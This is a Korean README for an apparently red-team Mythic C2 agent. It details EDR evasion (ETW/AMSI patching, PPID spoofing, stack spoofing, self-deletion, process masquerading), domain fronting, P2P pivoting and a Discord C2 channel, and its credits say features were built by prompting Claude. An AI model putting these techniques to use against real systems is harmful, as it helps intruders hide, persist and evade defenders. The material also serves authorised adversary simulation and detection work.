block_dlls 빌드 매개변수를 활성화하면 에이전트가 생성한 모든 자식 프로세스(run, powershell 명령)에 PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON을 적용합니다. EDR이 생성된 프로세스에 모니터링 DLL을 주입하지 못하도록 방지합니다. UpdateProcThreadAttribute와 함께 STARTUPINFOEX를 사용합니다. Windows만 해당.
서브프로세스에 대한 부모 PID 스푸핑
런타임 시 config -action set -key default_ppid -value <PID>를 설정하여 모든 자식 프로세스(run, powershell)가 합법적인 프로세스(예: explorer.exe)의 자식으로 나타나도록 합니다. EDR의 부모-자식 프로세스 관계 탐지를 무력화합니다. 둘 다 활성화된 경우 BlockDLLs와 결합합니다. UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)를 사용합니다. config -action set -key default_ppid -value 0으로 비활성화합니다. Windows만 해당(T1134.004).
ETW/AMSI 자동 패치
auto_patch 빌드 매개변수를 활성화하면 에이전트 시작 시 EtwEventWrite 및 AmsiScanBuffer를 자동으로 패치합니다. 이는 에이전트 활동이 발생하기 전에 ETW 기반 탐지 및 AMSI 검사를 방지합니다 — 수동 명령이 필요하지 않습니다. Windows만 해당(Linux/macOS에서는 아무 작업도 하지 않음).
자체 삭제
self_delete 빌드 매개변수를 통해 시작 시 자동 바이너리 삭제를 활성화합니다. 에이전트가 실행을 시작하면 디스크에서 자체 파일을 제거하여 기본 법의학 아티팩트를 제거합니다.
- Linux/macOS:
os.Remove()사용 — 실행 중인 프로세스는 메모리 내 inode 매핑을 통해 계속됩니다. 파일이 즉시 디스크에서 사라집니다. - Windows: NTFS 스트림 이름 바꾸기 기술 사용 — 기본
:$DATA스트림의 이름을 바꾼 다음 파일 항목을 삭제합니다. 자식 프로세스가 생성되지 않습니다.
바이너리는 환경 키 검사가 통과된 후 네트워크 활동이 시작되기 전에 삭제됩니다.
프로세스 가장(Linux)
masquerade_name 빌드 매개변수를 설정하여 Linux에서 에이전트의 프로세스 이름을 변경합니다. prctl(PR_SET_NAME)을 사용하여 /proc/self/comm을 수정하며, 이는 ps, top 및 htop에 표시됩니다. 최대 15자.
유용한 이름: [kworker/0:1], [migration/0], sshd, apache2, [rcu_preempt]
자체 삭제와 결합하면 에이전트는 디스크에 파일이 없는 합법적인 커널 스레드 또는 서비스로 나타납니다.
슬립 메모리 가드 페이지
sleep_guard_pages 활성화(sleep_mask=true 필요) 시 슬립 주기 동안 암호화된 볼트 메모리에 VirtualProtect(PAGE_NOACCESS)를 적용합니다. 슬립 마스크가 민감한 데이터(AES-256-GCM)를 암호화하고 원본을 0으로 만든 후, 가드 페이지는 볼트를 전용 VirtualAlloc 메모리로 이동하고 NO_ACCESS로 표시합니다. EDR 메모리 스캐너, ReadProcessMemory, WinDbg 및 Process Hacker가 볼트를 읽으려고 하면 STATUS_ACCESS_VIOLATION이 발생합니다. 페이지는 깨어난 후 복호화 전에 PAGE_READWRITE로 복원됩니다. Linux/macOS에서 가드 페이지는 mmap(MAP_ANON) + mprotect(PROT_NONE)을 사용합니다 — 프로빙 시 SIGSEGV가 발생합니다.
슬립 볼트 키는 HKDF-SHA256을 통해 하드웨어에 바인딩됩니다: 무작위 시드가 시스템의 CPU 브랜드 문자열과 UUID의 SHA-256 해시와 혼합됩니다. 누군가 메모리 덤프에서 볼트 blob을 추출하고 다른 하드웨어에서 복호화를 시도하면 키 파생이 다른 키를 생성합니다.
호출 스택 스푸핑
stack_spoof를 활성화하면 슬립 중인 스레드의 호출 스택을 스푸핑하여 EDR 스레드 스캐닝 도구(Hunt-Sleeping-Beacons, Moneta, CrowdStrike)를 무력화합니다.
- Windows(
indirect_syscalls=true필요): 전용 네이티브 스레드가kernel32!SleepEx,kernel32!BaseThreadInitThunk및ntdll!RtlUserThreadStart를 가리키는 가짜 반환 주소로NtDelayExecution을 수행합니다 — 이는 EDR이 예상하는 표준 스레드 초기화 체인입니다. - Linux amd64:
clone(CLONE_VM)을 통해 자체 291바이트 머신 코드 스텁이 있는 익명 mmap 메모리 내에서 자식 프로세스가 생성됩니다. 자식은 원시 시스템 호출을 통해 직접nanosleep을 호출합니다 — 슬립 중인 스레드의 스택에 Go 런타임 또는 에이전트 코드 주소가 나타나지 않습니다. 자식에서 신호 처리기가 SIG_DFL로 재설정되고,PR_SET_PDEATHSIG는 부모가 종료될 때 자식도 종료되도록 보장합니다. - macOS arm64: 익명 mmap 메모리 내에 140바이트 ARM64 머신 코드 스텁이 있는 네이티브 pthread가 생성됩니다. 스레드는 Go 런타임과의 동기화를 위해
__ulock_wait/__ulock_wake를 사용하고 원시 시스템 호출을 통해nanosleep을 호출합니다 — 슬립 중인 스레드의 스택에는 익명 스텁과 커널 프레임만 표시되고 Go 런타임 또는 에이전트 코드는 표시되지 않습니다.
사용자 지정 HTTP 헤더
Mythic HTTP C2 프로필 구성에 정의된 모든 헤더가 모든 요청에 적용됩니다. User-Agent(항상 지원됨) 외에도 운영자는 Accept-Language, Referer, Cookie 또는 X-Forwarded-For와 같은 헤더를 추가하여 C2 트래픽을 합법적인 웹 트래픽 패턴과 혼합할 수 있습니다.
도메인 프론팅
host_header 빌드 매개변수를 설정하여 HTTP Host 헤더를 재정의합니다. 이는 도메인 프론팅을 활성화합니다: CDN(예: CloudFront, Azure CDN)을 통해 트래픽을 라우팅하는 동안 Host 헤더는 실제 C2 도메인을 대상으로 합니다. 네트워크 방어자에게는 트래픽이 CDN의 IP 주소로 가는 것처럼 보입니다.
프록시 지원
proxy_url 빌드 매개변수를 설정하여 HTTP 또는 SOCKS 프록시를 통해 에이전트 트래픽을 라우팅합니다. 필수 프록시 서버가 있는 회사 네트워크에서 운영하는 데 유용합니다.Examples: http://proxy.corp.local:8080, socks5://127.0.0.1:1080
인증 프록시: 기본 인증을 위해 proxy_user 및 proxy_pass를 설정합니다. Windows 도메인 인증이 필요한 엔터프라이즈 프록시의 경우 proxy_domain(예: CORP)도 설정하여 NTLM 인증을 활성화합니다. NTLM 핸드셰이크(Type1→Type2→Type3)는 CONNECT 터널 설정 중 자동으로 수행됩니다.
시스템 프록시 감지(Windows): proxy_url이 설정되지 않은 경우 에이전트는 PAC/WPAD 자동 감지를 포함한 시스템 프록시 설정을 WinHTTP에 쿼리합니다.
Build Path Stripping (-trimpath)
모든 빌드는 Go의 -trimpath 플래그를 사용하여 컴파일된 바이너리에서 로컬 파일 시스템 경로를 제거합니다. 이 플래그가 없으면 /home/user/project/... 및 /go/pkg/mod/...와 같은 경로가 패닉 트레이스 및 런타임 메타데이터를 통해 바이너리에 유출됩니다. -s -w(심볼 제거) 및 빈 -buildid와 결합하면 바이너리의 포렌식 정보를 최소화합니다. Garble 빌드는 이미 이를 처리하며, -trimpath는 비-garble 빌드를 포함합니다.
YARA 빌드 후 스캔
컴파일 후, 빌드된 페이로드는 일반적인 방어자 탐지 패턴을 모델링한 YARA 규칙 세트에 대해 자동으로 스캔됩니다. 결과는 정보 제공 단계로 Mythic 빌드 출력에 표시되며, 스캔은 결코 빌드를 실패시키지 않습니다.
스캔되는 탐지 범주:
- Go 바이너리 식별 및 심볼 누출
- 노출된 빌드/개발 경로
- Mythic/C2 프레임워크 문자열 지표
- Windows 인젝션 API 이름
- 자격 증명 액세스 API 이름
- 방어 회피 API 패턴
- 지속성 메커니즘 문자열
- 평문 C2 구성
이는 운영자가 탐지 위험을 이해하고 배포 전에 적절한 opsec 옵션(garble, obfuscate_strings 등)을 선택하는 데 도움이 됩니다.
지원되는 C2 프로필
HTTP Profile
HTTP 프로필은 기본적인 비동적 프로필을 통해 Mythic 서버에 콜백합니다. 이것이 기본 이그레스 프로필이며, 에이전트는 HTTP/HTTPS를 통해 작업을 위해 Mythic을 폴링합니다.
유연한 기능:
- URI 무작위화:
get_uri및post_uri는 요청별로 해결되는 토큰을 지원합니다:{rand:N}— N개의 무작위 16진수 문자 (예:/api/{rand:8}→/api/a3f82b1c){int:M-N}— 범위 내의 무작위 정수 (예:/v{int:1-3}/status→/v2/status)
- Content-Type 순환:
content_types빌드 매개변수를 쉼표로 구분된 목록(예:application/json,text/plain,application/x-www-form-urlencoded)으로 설정합니다. 에이전트는 이들을 라운드 로빈 방식으로 순환합니다. 기본값:application/x-www-form-urlencoded. - User-Agent 회전:
user_agent_pool빌드 매개변수를 줄바꿈으로 구분된 User-Agent 문자열 목록으로 설정합니다. 에이전트는 요청마다 이를 회전하여 정적 UA 지문을 제거합니다. 기본값: 단일 Chrome 134 UA. - 지수 백오프: 연속적인 C2 실패 시 에이전트는 절전 간격을 두 배로 늘립니다(최대 5분). 성공적인 접촉 시 정상 간격으로 복원됩니다.
- TLS 지문: 브라우저 JA3 지문을 위장합니다(
chrome,firefox,safari,edge,rotate,random). - HTTP/2 멀티플렉싱: HTTPS를 통한 자동 h2 협상. 단일 연결에서 요청을 멀티플렉싱하여 브라우저 동작과 일치시킵니다. 투명한 h1 폴백.
- 순방향 보안: N번의 체크인마다 ECDH X25519 키 회전(
key_rotation_interval). HKDF-SHA256을 통해 새로운 AES-256 키를 파생하고 이전 키를 제로화합니다. 키 손상 시 폭발 반경을 제한합니다. - 재생 방지: 모든 메시지에 단조 증가 시퀀스 번호(암호화된 봉투 내부). 캡처된 요청/응답 재생을 방지합니다.
- 상호 TLS(mTLS): 클라이언트 인증서 인증으로 수동 가로채기 및 프록시 MITM(T1573.002)을 방지합니다.
- 도메인 프론팅:
host_header를 설정하여 HTTP Host 헤더를 재정의합니다. - 자동 장애 조치: 복원력 있는 C2를 위해
fallback_hosts를 구성합니다.
TCP P2P 프로필
TCP 프로필은 내부 피벗을 위한 P2P(Peer-to-Peer) 에이전트 연결을 가능하게 합니다. 하위 에이전트는 TCP 포트 또는 Windows 명명된 파이프에서 수신 대기하고 상위 에이전트가 link 명령을 통해 연결할 때까지 기다립니다. 모든 작업 및 응답은 상위 에이전트의 이그레스 채널(HTTP)을 통해 라우팅되므로 하위 에이전트는 Mythic에 직접 접촉하지 않습니다.
아키텍처:``` Mythic Server ←──HTTP──→ Egress Agent (HTTP profile) │ ├──TCP──→ Child Agent A (TCP profile, port 7777) ├──TCP──→ Child Agent B (TCP profile, port 8888) └──SMB──→ Child Agent C (named pipe, \host\pipe\msrpc-f9a1)
**빌드 매개변수:**
| 매개변수 | 설명 | 기본값 |
|-----------|-------------|---------|
| `tcp_bind_address` | 자식 에이전트가 수신 대기할 주소와 포트 (예: `0.0.0.0:7777`) | _(비어 있음 = HTTP 모드)_ |
| `namedpipe_bind_name` | 자식 에이전트가 수신 대기할 명명된 파이프 이름 (예: `msrpc-f9a1`). Windows 전용. | _(비어 있음)_ |
`tcp_bind_address` 또는 `namedpipe_bind_name`이 설정되면 에이전트는 HTTP 이그레스 모드 대신 P2P 리스너 모드로 시작됩니다.
**사용 워크플로우 (TCP):**
1. TCP C2 프로필과 `tcp_bind_address`가 설정된(예: `0.0.0.0:7777`) **자식 에이전트**를 빌드합니다.
2. 자식을 내부 호스트에 배포합니다 (인터넷 액세스 불필요).
3. **이그레스 에이전트**(HTTP 프로필)에서 다음을 실행합니다: `link -host <child_ip> -port 7777`
4. Mythic이 자식에 대한 새 콜백을 생성합니다. 모든 태스킹은 이그레스 에이전트를 통해 흐릅니다.
5. 연결 해제: `unlink -connection_id <uuid>`
**사용 워크플로우 (명명된 파이프):**
1. TCP C2 프로필과 `namedpipe_bind_name`이 설정된(예: `msrpc-f9a1`) **자식 에이전트**를 빌드합니다.
2. 자식을 내부 Windows 호스트에 배포합니다.
3. **이그레스 에이전트**에서 다음을 실행합니다: `link -connection_type namedpipe -host <child_ip> -pipe_name msrpc-f9a1`
4. 연결은 SMB(포트 445)를 사용하며, 일반 Windows 파일 공유 트래픽과 혼합됩니다.
5. 연결 해제: `unlink -connection_id <uuid>`
**암호화:** AES-256-CBC + HMAC-SHA256 (HTTP 프로필과 동일). 와이어 프로토콜은 TCP 또는 명명된 파이프를 통해 4바이트 길이 접두사 프레이밍을 사용합니다.
**재연결 지원:** 부모가 연결을 끊으면(예: `unlink` 또는 부모 에이전트 사망), 자식 에이전트는 체크인 데이터를 캐시하고 새 부모 연결을 기다립니다. 새 이그레스 에이전트가 `link`를 실행하면 자식이 자동으로 Mythic에 새 콜백으로 재등록됩니다. 수동 개입이 필요하지 않습니다.
**다중 자식:** 이그레스 에이전트는 동시에 여러 TCP 및 명명된 파이프 자식에 연결할 수 있습니다. 각 자식은 자체 콜백으로 독립적으로 작동합니다.
**OPSEC 참고:** 명명된 파이프 연결은 SMB(포트 445)를 사용하며 원시 TCP보다 네트워크 수준 지표가 적게 생성되지만, Sysmon 이벤트 ID 17/18(PipeEvent) 및 Microsoft-Windows-SMBClient의 ETW 이벤트가 구성된 경우 기록됩니다.
### Discord C2 프로필
Discord 프로필은 은밀한 C2 전송 수단으로 Discord 봇과 채널을 사용합니다. 에이전트는 암호화된 메시지를 Discord 채널에 게시하여 Mythic과 통신하며, 서버 측 봇이 이를 gRPC 푸시 C2를 통해 Mythic으로 중계합니다.
**아키텍처:**```
Fawkes Agent ──Discord REST API──→ Discord Channel ←──Bot──→ Discord C2 Server ──gRPC──→ Mythic
작동 방식:
- 체크인: 에이전트가 암호화된 체크인 메시지를 Discord 채널에 게시합니다. 서버 측 봇이 이를 수집하여 Mythic으로 전달하고, 응답을 다시 채널에 게시합니다. 에이전트는 응답을 찾을 때까지 폴링합니다.
- 태스킹: 에이전트가 Discord를 통해
get_tasking요청을 보냅니다. Push C2를 사용하면 작업이 독립적으로 채널에 푸시될 수도 있습니다. 에이전트는 각 폴링 주기마다 일치하는 모든 메시지를 수집합니다. - 응답: 에이전트가 작업 출력을 채널에 게시합니다. 큰 응답(>1950자)은 파일 첨부로 전송됩니다.
빌드 매개변수:
| Parameter | Type | Description | Default |
|---|---|---|---|
discord_token | String | API 인증을 위한 Discord 봇 토큰 | (필수) |
bot_channel | String | 메시지 교환을 위한 Discord 채널 ID | (필수) |
callback_interval | String | 태스킹 폴링 간격(초) | 10 |
callback_jitter | String | 지터 비율(0-100) | 23 |
message_checks | String | 교환당 최대 폴링 시도 횟수 | 20 |
time_between_checks | String | 폴링 시도 간격(초) | 5 |
AESPSK | String | 사전 공유된 AES-256 암호화 키 | (자동 생성) |
암호화: AES-256-CBC + HMAC-SHA256 (HTTP 프로필과 동일한 방식). 민감한 설정(봇 토큰, 채널 ID)은 초기화 후 AES-256-GCM 저장소를 사용하여 메모리에서 암호화됩니다.
Push C2 지원: Discord C2 서버는 Mythic의 push C2(영구 gRPC 스트림)를 사용합니다. 작업은 폴링 주기 사이에 비동기적으로 도착할 수 있습니다. 에이전트는 다음을 구현합니다:
- 이전 주기의 푸시된 작업을 포착하기 위한 사전 폴링 스위프
- 빠른 작업 전달을 위한 캐치업 폴링(첫 번째 일치 후 3회 추가 폴링)
- 일시적 오류 시 PostResponse 재시도
속도 제한: 자동 재시도 및 지수 백오프(최대 5회 재시도)로 Discord API 속도 제한을 준수합니다. User-Agent는 Discord API 요구사항에 따라 DiscordBot (https://github.com, 1.0)으로 하드코딩됩니다.
설정 전제 조건:
- discord.com/developers에서 Discord 봇 생성
- 봇의 메시지 콘텐츠 의도(Message Content intent) 활성화
- 봇을 서버에 추가하고 권한 설정: 메시지 보내기, 메시지 기록 읽기, 파일 첨부, 메시지 관리
- 봇 토큰과 대상 채널 ID 기록
- Discord C2 서버 컨테이너의
config.json에 동일한 봇 토큰과 채널 ID를 구성
알려진 제한 사항:
- Mythic의 "마지막 체크인"은 push C2 스트림이 활성화된 동안 "스트리밍 중"으로 표시됩니다(push C2 모드의 고유 특성). 에이전트가 약 180초 동안 비활성 상태이면 Mythic이 실제 마지막 활동 타임스탬프를 표시합니다.
- Discord API 속도 제한으로 인해 고빈도 태스킹 중 지연이 발생할 수 있습니다.
- 봇 토큰은 중요한 OPSEC 자산입니다. 유출 시 C2 채널이 노출됩니다.
- 메시지 크기 제한: 인라인 약 1950자, 더 큰 페이로드는 파일 첨부 사용
감사의 말
Mythic 에이전트에 대해 제가 아는 모든 것은 Mythic 문서 또는 Merlin 및 Freyja 에이전트의 코드와 아이디어를 참고하여 얻었습니다.
그 후로는 전적으로 Claude에 PoC 링크를 제공하고 멋진 기능을 요청해 왔습니다. 말도 안 되죠?
기술 및 참고 자료
- Threadless Injection - CCob의 ThreadlessInject (원본 C# 구현) 및 dreamkinn의 go-ThreadlessInject (Go 포트)
- sRDI (셸코드 리플렉티브 DLL 인젝션) - Merlin의 Go 기반 sRDI 구현, 원래 Nick Landers (monoxgas)의 sRDI 기반
- PoolParty Injection - SafeBreach Labs의 PoolParty 연구 (원본 C++ PoC) - 변종 세부 정보
- Opus Injection - 콜백 기반 인젝션 기법 - 변종 세부 정보
- Phoenix 아이콘 출처: OpenClipart